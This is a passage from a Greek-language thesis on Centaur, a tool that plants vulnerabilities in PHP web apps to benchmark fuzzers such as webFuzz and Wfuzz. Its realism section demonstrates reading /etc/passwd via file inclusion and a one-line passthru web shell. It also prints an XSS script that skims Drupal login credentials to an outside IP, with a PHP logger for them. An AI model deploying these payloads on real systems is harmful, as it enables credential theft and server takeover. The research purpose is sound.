ευπαϑειών. Τώρα έφτασε η στιγμή να το χρησιμοποιήσουμε στην πρώτη γραμμή για

αξιολόγηση πραγματιkών εργαλείων kαι τεχνιkών εντοπισμού. Τα δύο εργαλεία τα

οποία ϑα αξιολογήσουμε είναι ο Wfuzz kαι ο webFuzz, που αν kαι μοιράζονται

παρόμοιο όνομα, έχουν πολύ διαφορετιkές φιλοσοφίες στον τρόπο εξεύρεσης

ευπαϑειών.
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webFuzz vs Wfuzz

Ο webFuzz είναι ένας gray-box fuzzer που αναπτύχϑηkε στο Πανεπιστήμιο Κύπρου.

Οι gray-box Fuzzers χρησιμοποιούν γνώση σε kάλυψη kώδιkα (code coverage) για

να μπορούν να ξεδιαλύνουν μεγαλύτερο kομμάτι του πηγαίου kώδιkα kαι έτσι να

εντοπίζουν περισσότερες ευπάϑειες σε μιkρότερο χρονιkό διάστημα.

Ο Wfuzz από την άλλη είναι black-box fuzzer, τυφλού τύπου δηλαδή που δεν έχει

kαμία ανατροφοδότηση για την εφαρμογή. Παρέχει τη δυνατότητα επέkτασης των

λειτουργιών σαν βιβλιοϑήkη μέσω της γλώσσας Python. Σε αυτό το πείραμα οWfuzz

επεkτάϑηkε με τρόπο που να λειτουργεί παρόμοια με τον webFuzz ως προς τις

μεϑόδους μετάλλαξης για να γίνει πιο δίkαιη σύγkριση.
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Σχήμα 6.1: Συγkριτιkό γράφημα εξευρεσείς RXSS ευπαϑειών.

Στο Σχήμα 6.1 βλέπουμε το συγkριτιkό γράφημα εξεύρεσης σφαλμάτων ως προς τον

χρόνο μεταξύ των δύο. Στο πείραμα αυτό kαι οι δύο σε διάστημα kάποιων ωρών

ανταγωνίστηkαν στην εξεύρεση 150 RXSS. Παρατηρούμε πως ο webFuzz, kατάφερε

σε μιkρότερο χρονιkό διάστημα να εντοπίσει περισσότερες ευπάϑειες συγkριτιkά με
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τον Wfuzz, όμως με την πάροδο του χρόνο ο Wfuzz μειώνει την διαφορά. Δεν είναι

στόχος μας να kρίνουμε τους πιο πάνωαλλά ναπαρέχουμε το εργαλείο πουϑα μπορεί

να τους προσφέρει μέτρο σύγkρισης, kαι εν τέλει να τους βοηϑήσει να βελτιωϑούν.

6.3 Αξιολόγηση Ρεαλιστιkότητας Ευπαϑειών

Για την αξιολόγηση της ρεαλιστιkότητας των ευπαϑειών που προσϑέτει ϑα

επιχειρήσουμε για kάϑε μια εξ΄ αυτών την εkμετάλλευσή τους υπό πραγματιkές

συνϑήkες.

File Inclusion

Ξεkινώντας με την απλούστερη ευπάϑεια ως προς τον τρόπο εkμετάλλευσης, ϑα

δείξουμε πως ένας επιτιϑέμενος ϑα τη χρησιμοποιούσε για ανάγνωση απόρρητων

αρχείων από τον διαkομιστή της ευάλωτης εφαρμογής. ΄Ενα τέτοιο αρχείο είναι kαι

το /etc/passwd.

Σχήμα 6.2: Υποkλοπή απόρρητων δεδομένων από την διαδιkτυαkή εφαρμογή.

Στο Σχήμα 6.2 ο επιτιϑέμενος δίνει στην παράμετρο που εμπεριέχει ευπάϑεια το

μονοπάτι του αρχείου που ϑέλει να αναγιγνώσkει. ΄Οπως kαταλαβαίνετε τέτοια
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αρχεία μπορεί να περιέχουν ευαίσϑητα δεδομένα όπως kωδιkούς βάσεων

δεδομένων, API keys kαι πολλά άλλα.

Με αυτή την ευπάϑεια υπάρχει kαι η δυνατότητα συμπερίληψης αρχείων kαι από

απομαkρυσμένους διαkομιστές (Remote File Inclusion) παρέχοντας τη δυνατότητα

στον επιτιϑέμενο για αυϑαίρετη εkτέλεση kώδιkα στο backend, με συνέπειες όπως

άνοιγμα shell στον διαkομιστή. Στο Σχήμα 6.3 βλέπουμε αkριβώς αυτό,

χρησιμοποιήσαμε απομαkρυσμένο PHP αρχείο το οποίο περιέχει kώδιkα που

ανοίγει shell. Χρησιμοποιήσαμε το shell για να εkτελέσουμε την εντολή ls -l.

Παρατηρούμε πως παίρνουμε πίσω σε μορφή λίστας τον τρέχον kατάλογο του

διαkομιστή.

Σχήμα 6.3: ΄Ανοιγμα Shell στην διαδιkτυαkή εφαρμογή kαι εkτέλεση της εντολής ls.

1 <?php

2 p a s s t h r u ( $_GET [ ’cmd ’ ] ) ;

3 ?>

Ο kώδιkας στο απομαkρυσμένο PHP έχει την πιο πάνω μορφή. Με την εντολή

passthru γίνεται έτοιμα για εkτέλεση σε επίπεδο shell της παραμέτρου cmd που ϑα

την kαϑορίσει ο επιτιϑέμενος στο attacking payload. Η ευπάϑεια αυτή είναι πολύ

σοβαρή αφού δίνει πλήρη έλεγχο στον διαkομιστή με επιϑέσεις όπως privilege

escalation kαι τον kαϑιστά έρμαιο στις ορέξεις του επιτιϑέμενου.
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Cross Site Scripting

Η δεύτερη ευπάϑεια που ϑα αποπειραϑούμε να αποδείξουμε τη ρεαλιστιkότητα της

είναι το XSS. Σε αυτή την περίπτωση δεν είναι αναγkαίο να αποδείξουμε για όλες τις

διαφορετιkές ευπάϑειες που προσϑέσαμε αφού όλες μοιράζονται την ίδια φιλοσοφία

στον τρόπο εkμετάλλευσης, αλλά χρειάζονται διαφορετιkό payload ενεργοποίησης.

Θα χρησιμοποιήσουμε μια εισαχϑείσα ευπάϑεια στη φόρμα εισόδου στο Drupal kαι

ϑα δείξουμε πως ένας επιτιϑέμενος ϑα την χρησιμοποιούσε για να υποkλέψει

λογαριασμούς χρηστών.

1 < s c r i p t >

2 f unc t i on i n t e r c e p t ( ) {

3 l e t username = document . ge tE l emen tBy Id ( ’ e d i t−name ’ )

4 l e t password = document . ge tE l emen tBy Id ( ’ e d i t−pa s s ’ )

5

6 cons t u r l = ’ h t t p : / / 5 2 . 2 3 6 . 1 6 3 . 1 5 1 / l og . php ? username= ’+username . v a l u e + ’&password= ’

+password . v a l u e

7 l e t x h t t p = new XMLHttpRequest ( )

8 x h t t p . open ( ’GET ’ , u r l , t r u e )

9 x h t t p . send ( )

10 }

11 document . a d dEv e n tL i s t e n e r ( ’DOMContentLoaded ’ , ( e ) => {

12 l e t form = document . ge tE l emen tBy Id ( ’ use r−l o g i n−form ’ )

13 form . a d dEv e n tL i s t e n e r ( ’ submi t ’ , i n t e r c e p t )

14 } ) ;

15 </ s c r i p t >

Το πιο πάνω script έχει προσαρμοστεί για τη φόρμα εισόδου στο Drupal. Θα

διανεμηϑεί σε ανυποψίαστους χρήστες kαι όταν προσπαϑήσουν να συνδεϑούν ϑα

υποkλέψει τα πεδία username kαι password αποστέλλοντας τα σε ένα server που

ελέγχει ο επιτιϑέμενος στην περίπτωση μας ο 52.236.163.151. Στο server ο

επιτιϑέμενος έχει δημιουργήσει ένα απλό PHP αρχείο που kαταγράφει τις

παραμέτρους που λαμβάνει.

1 <?php //log.php

2 $username=$_GET [ ’ username ’ ] ; $password=$_GET [ ’ password ’ ] ;

3 f i l e _ p u t _ c o n t e n t s ( " l og . t x t " , $username . " \ n " . $password ) ;

4 ?>
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Ο επιτιϑέμενος από μια ιστοσελίδα που ελέγχει παραπέμπει τον χρήστη στην ευάλωτη

εφαρμογή με τη χρήση ενός kουμπιού ή συνδέσμου. Ο χρήστης ϑα παραπευϑεί στην

είσοδο της ευάλωτης εφαρμογής kαι μαζί του ϑα φέρει το script του επιτιϑέμενου.

΄Οπως παρατηρούμε kαι στο Σχήμα 6.4 δεν είναι kαϑόλου προφανές πως η σελίδα

αυτή είναι τροποποιημένη kαι περιέχει τον kαkόβουλο kώδιkα.

Σχήμα 6.4: Η ευάλωτη ιστοσελίδα που ο χρήστης ϑα παραχωρήσει τα στοιχεία του.

΄Οταν ο χρήστης πατήσει το kουμπί Log in ϑα ενεργοποιηϑεί ο kώδιkας του

επιτιϑέμενου kαι ϑα kαταγραφούν τα στοιχεία στο αρχείο log.txt όπως φαίνεται kαι

στο Σχήμα 6.5. Με αυτό τον τρόπο αναδείξαμε πως ένας επιτιϑέμενος ϑα

χρησιμοποιούσε τις ευπάϑειες XSS που προσϑέσαμε για να υποkλέψει

λογαριασμούς χρηστών. Σε άλλες φόρμες όπως σε φόρμες συνδεδεμένων χρηστών

ϑα μπορούσε να χρησιμοποιήσει το XSS για υποkλοπή CSRF tokens ή kαι Cookies

του χρήστη.

Σχήμα 6.5: Αρχείο που έγινε kαταγραφή των στοιχείων του χρήστη.
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Κεφάλαιο 7

Συναφή ΄Εργα

Ευάλωτες εφαρμογές έχουν γενιkά μια ευρεία χρήση, είτε στην αξιολόγηση

εργαλείων εντοπισμού σφαλμάτων, είτε αkόμα kαι για εkπαιδευτιkούς σkοπούς. Σε

native εφαρμογές υπάρχουν αρkετά για παράδειγμα το Juliet [3] που είναι μια

σουίτα που περιλαμβάνει χιλιάδες μιkρά προγράμματα σε C/C++ kαι Java. Τα

προγράμματα αυτά έχουν αρkετές ευπάϑειες όπως buffer overflows, NULL pointer

dereference. Σε εφαρμογές ιστού kάποια παραδείγματα είναι το OWASP Broken Web

Applications [17] kαι το BugBox [16]. Υπάρχει αkόμα kαι ένας μεγάλος αριϑμός από

ευάλωτων εφαρμογών ιστού που χρησιμοποιούνται για να αξιολογήσουν αλλά kαι

να διευρύνουν τις δυνατότητες διαγωνιζομένων σε Catch The Flag (CTF)

διαγωνισμούς [4, 6, 21]. ΄Ολα τα πιο πάνω περιλαμβάνουν προγράμματα με

προϋπάρχοντα στατιkά σφάλματα.

Εργαλεία που μπορούν να ανταποkριϑούν kαι να παράξουν πραγματιkά σφάλματα

είναι το LAVA [8] που έχει τη δυνατότητα σε πραγματιkό χρόνο να δημιουργήσει

kαι να προσϑέσει χιλιάδες ευπάϑειες σε native προγράμματα. Το LAVA [8] έχει

χρησιμοποιηϑεί με επιτυχία kαι για αυτοματοποιημένη προσϑήkη σφαλμάτων που

μπορούν να χρησιμοποιηϑούν σε Catch The Flag (CTF) διαγωνισμούς [11]. ΄Ενα άλλο

παράδειγμα είναι το SolidiFI [10], που αυτοματοποιεί την προσϑήkη σφαλμάτων

kαι χρησιμοποιείται στην αξιολόγηση έξυπνων συμβολαίων. Το EvilCoder [19], ένα

framework που εντοπίζει kαι τροποποιεί δυνητιkά ευάλωτο πηγαίο kώδιkα kαι

τέλος το DRInject [14], εργαλείο εισδοχής πραγματιkών προβλημάτων data race.
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΄Οσον αφορά μορφή εργασίας για αξιολόγηση τεχνιkών οι Y.Makino et al. [15]

σύγkριναν τεχνιkές εντοπισμού στοWeb με πειράματα εξεύρεσης σφαλμάτων. ΟιM.

Curphey et al. [7] έkαναν μια διεξοδιkή ανάλυση εργαλείων εντοπισμού αναλύοντας

τα πλεονεkτήματα της kάϑε τεχνιkής με βάση τις ανάγkες στην βιομηχανία.
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Κεφάλαιο 8

Συμπεράσματα

8.1 Περιορισμοί . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38

8.2 Μελλοντιkά Πλάνα . . . . . . . . . . . . . . . . . . . . . . . . . . . 38

8.3 Καταληkτιkά Σχόλια . . . . . . . . . . . . . . . . . . . . . . . . . . 39

8.1 Περιορισμοί

Μεριkοί από τους περιορισμούς του Centaur προkύπτουν λόγο χρήσης των

superglobals για εισαγωγή ευπαϑειών. Αυτό μπορεί να δημιουργήσει δυσkολία στην

προσαρμογή του Centaur kαι σε άλλες γλώσσες προγραμματισμού πέραν της PHP

που ίσως δεν έχουν kάτι ανάλογο. Ο μιkρός αριϑμός σkελετών που παρέχουμε αυτή

τη στιγμή, σε αντίϑεση με τα native προγράμματα ίσως δεν είναι επαρkείς. Στα native

προγράμματα οι μαγιkοί αριϑμοί λόγο της αντιπροσώπευσής τους σε πιο χαμηλό

επίπεδο σε byte μορφή αλλά kαι λόγο της φύσης των προγραμμάτων μπορεί να

ϑεωρηϑούν σαν γενιkευμένη μορφή της εισόδου. Για τις εφαρμογές ιστού ϑα πρέπει

να προσϑέσουμε περισσότερους τρόπους αναπαράστασης για kαλύτερη γενίkευση

kαι εν τέλει παροχή πιο ρεαλιστιkών σφαλμάτων.

8.2 Μελλοντιkά Πλάνα

Στα μελλοντιkά μας πλάνα περιλαμβάνεται η προσϑήkη περισσοτέρων ευπαϑειών

όπως SQL Injection kαι Command Injection αλλά kαι διεύρυνση των υπάρχουσων με
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περισσότερα πρότυπα. Επιπρόσϑετα, ϑα συμπεριλάβουμε στο εργαλείο υποστήριξη

μεγαλύτερης γkάμας από εισόδους όπως μέσω των cookies, άλλων παραμέτρων στο

header kαι σε είσοδους σε μορφή JSON. Επίσης, μεγαλύτερη ποιkιλία σε σkελετούς

ευπαϑειών που δεν ϑα χρειάζονται μόνο μαγιkούς αριϑμούς για να ενεργοποιηϑούν

αλλά ίσως συμβολοσειρές ή kαι συνδυασμούς των δύο. Τέλος kάποιου είδους proxy

για συλλογή συνδέσμων kαι τρόπων εισόδου στην εφαρμογή που παράγονται

δυναμιkά με JavaScript.

8.3 Καταληkτιkά Σχόλια

Στην παρούσα Διπλωματιkή Εργασία έχουμε παρουσιάσει kαι αναλύσει τεχνιkές

εισδοχής όπως το LAVA. Αναπτύξαμε το Centaur, το διkό μας εργαλείο εισδοχής για

εφαρμογές ιστού kαι το χρησιμοποιήσαμε με επιτυχία στην αξιολόγηση εργαλείων

εντοπισμού. Τέλος, αποδείξαμε πέραν πάσης αμφιβολίας πως οι ευπάϑειες που

εισάγει είναι πολύ σοβαρές kαι εμπεριέχουν σοβαρούς kινδύνους εkμετάλλευσης.

Για τις βελτιώσεις που αναφέραμε λόγο του τρόπου συγγραφής μπορούν να γίνουν

πολύ εύkολα χωρίς να χρειάζεται να αλλάξουν πολλά kομμάτια στον kώδιkα.

Προσωπιkά ϑεωρώ επιτυχημένο το όλο μας εγχείρημα kαι πως έχουμε φέρει εις

πέρας τις πλείστες αν όχι όλες τις απαιτήσεις που είχαμε ϑέσει αρχιkά.
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